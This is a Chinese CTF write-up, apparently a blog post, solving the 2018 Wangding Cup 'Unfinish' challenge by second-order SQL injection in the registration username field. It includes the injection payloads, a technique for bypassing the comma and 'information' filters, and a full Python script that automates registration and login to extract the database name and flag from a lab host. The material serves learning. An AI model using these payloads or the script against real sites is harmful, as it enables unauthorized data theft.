[网鼎杯2018]Unfinish解题,五分钟带你解题

目录

前期准备

​编辑

扫描目录

寻找注入点

构建payload:

开始注入:

寻找过滤规则

绕过过滤

构建python脚本

提交flag

总结


前期准备

        这道题是2018年网鼎杯的一道题,是比较经典的一道sql二次注入的题,我们一起来看一下

扫描目录

         首先进来之后发现就是一个登录框,我们肯定就先看看尝试尝试闭合,结果,就是提示我们在邮箱@之后不能添加符号,完了那就只能添加到密码里了,试一下发现也不行,最后提示用户名或者密码错误,那没办法注入啊,这时候怎么办呢,我们就只能用扫描工具试试看看这个网站还有没有其他页面了。

        这里我用的是dirsearch进行扫描的,工具很多随便一个都能扫出来;扫描结果发现有用的只有logi.php和register.php,register是注册的意思,那么这应该是一个注册页面了,我们一起去看看怎么个事吧。

寻找注入点

        果然是一个注册页面,那我们就注册一个用户看看吧。

        注册好之后会自动跳转到登录页面,我们登上去发现我们的用户名出现在了界面上,那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了,那这就很符合二次注入的点了,我们就只能在注册的时候考虑用户名注入了,那我们就尝试构建一下payload

//注册用户
insert into tables values('$email','$username','$password')

构建payload:

        那么看一下payload, 我们如果想要逃逸出闭合了那就只能跳出username了,但是这样的话这条查询语句就不对了,本来要插入三个变量,现在逃逸之后变成两个这显然行不通了,那么我们就只能考虑不去闭合,并且让我们的查询语句成功执行,这显然很好构建

insert into tables values('$email','0' +(select ascii(database())) +'0','$password')

开始注入:

        那我们注册的时候就试试:

0' +(select ascii(database())) +'0

寻找过滤规则

        我们发现是119,对应解出来就是“w”,很好看来我们已经注入成功了,既然这样我们就加一个截取函数取后面几位:

0'+(select ascii(substr (database(),2,1)))+'0

        很明显是有东西被过滤了,跟上一次注册语句发现多了一个逗号,很明显逗号被过滤了,但是我们不知道还有啥被过滤了,所以我们使用一下burp的暴力破解模块看看都过滤了啥吧,为了方便我并没使用专门的字典去破解,我用的只是针对我们需要用到的东西进行过滤,information库是为了方便我们后续注入表名、列名,sys是当information不能使用之后查表名、列名所要用到的库。

        我们发现长度为917的被过滤掉了,所以网站把“ , 和 information”过滤掉了,这个时候后续注入表名、列名的时候就要用到sys库了。

绕过过滤

                现在回到我们查库名第二个字母的注入中来,我们发现逗号被过滤了,那么substr有没有不用逗号就执行的呢,显然是有的。        验证发现可以,那我们直接开始注册,注入语句如下:

0'+(select ascii(substr(database()from 2 for 1)))+'0 

        这次我们发现逗号成功绕过,并且第二个字母ascii编码是101,那我们就一直继续下去        

        这里我们发现第四次字母变成0了,这就说明0 + 0 +0 =0就是查询语句没查出来,说明已经结束了,那么数据库的ascii编码就是11910198了,解码看看        这里我用了python进行解码,是为了方便后续为整个注入编写脚本

        现在我们数据库注入出来了,下一步肯定就是注入表名了,information已经被过滤了,所以我们就是用sys库进行注入。注入语句如下:

先来进行表名的注入:
0'+(select ascii(substr(table_name from 6 for 1 )) from sys.x$schema_table_statistics limit 1)+'0

结果我们发现一直注册不了,但是我在自己本机的mysql中执行却可以成功执行,这可能是这道题使用的数据库不是mysql,可能没有sys库所以导致语句执行报错,从而执行不成功。

构建python脚本

        最后查询发现其他人的表名是靠猜的,那就用flag来进行flag的获取吧,构建注入语句如下:

0'+(ascii(substr((select * from flag) from 1 for 1)))+'0

        但是这些都是一些重复性的工作,所以我就自己写了一个python脚本去跑,脚本代码如下:

import requests
from bs4 import BeautifulSoup
def select_database():
    database= ""
    for i in range(100):
        data_register={
            "email": "%d@qq.com" %(i),
            "username": f"0'+(select ascii(substr(database()from {i+1} for 1)))+'0",
            "password": "%d" %(i)
        }
        register=requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/register.php", data=data_register)
        data_login={
            "email":"%d@qq.com" %(i),
            "password":"%d" %(i)
        }
        login=requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/login.php", data=data_login)
        html=login.text
        soup=BeautifulSoup(html,'html.parser')
        getUsername = soup.find_all('span')[0]
        username = getUsername.text
        o = int(username)
        if o == 0:
            break
        database += chr(int(username))
        print(database)
    return database
def select_flag():
    flag = ""
    for i in range(100):
        data_register = {
            "email": "%d@qqq.com" % (i),
            "username": f"0'+ascii(substr((select * from flag) from {i+1} for 1))+'0",
            "password": "%d" % (i)
        }
        register = requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/register.php",
                                 data=data_register)
        data_login = {
            "email": "%d@qqq.com" % (i),
            "password": "%d" % (i)
        }
        login = requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/login.php",
                              data=data_login)
        html = login.text
        soup = BeautifulSoup(html, 'html.parser')
        getUsername = soup.find_all('span')[0]
        username = getUsername.text
        o = int(username)
        if o == 0:
            break
        flag += chr(int(username))
        print(flag)


print(select_database())
print(select_flag())

        这是跑出来的flag,大家在用的时候只需要更改url即可 

提交flag

flag正确,解题结束。

总结

        这道题是一道很经典的二次注入题目,回顾解题过程,我们显示登录页面找不到注入点,然后开始扫描目录寻找其他注入点,找到register注册页面,注册完之后登录发现出现了用户名,那我们就考虑注入点是不是在username,开始注入发现结果是0,所以我们就想着用转ascii码等方式来注入,很明显这种方法是正确的,然后information被过滤,我们就尝试用sys来注入表名,但是并没有成功,可能应为不是MySQL所以没有成功,官方也没有放源码出来,所以我们就猜测表名是flag,然后编写python脚本,最后解出flag,还有一种解法就是用16进制来解,原理都是一样的,但是16进制会在回显用户名的时候讲字母截断,所以我们就用两次16进制,然后通过截取函数也可以解题,原理都是一样的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

哈hhhh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值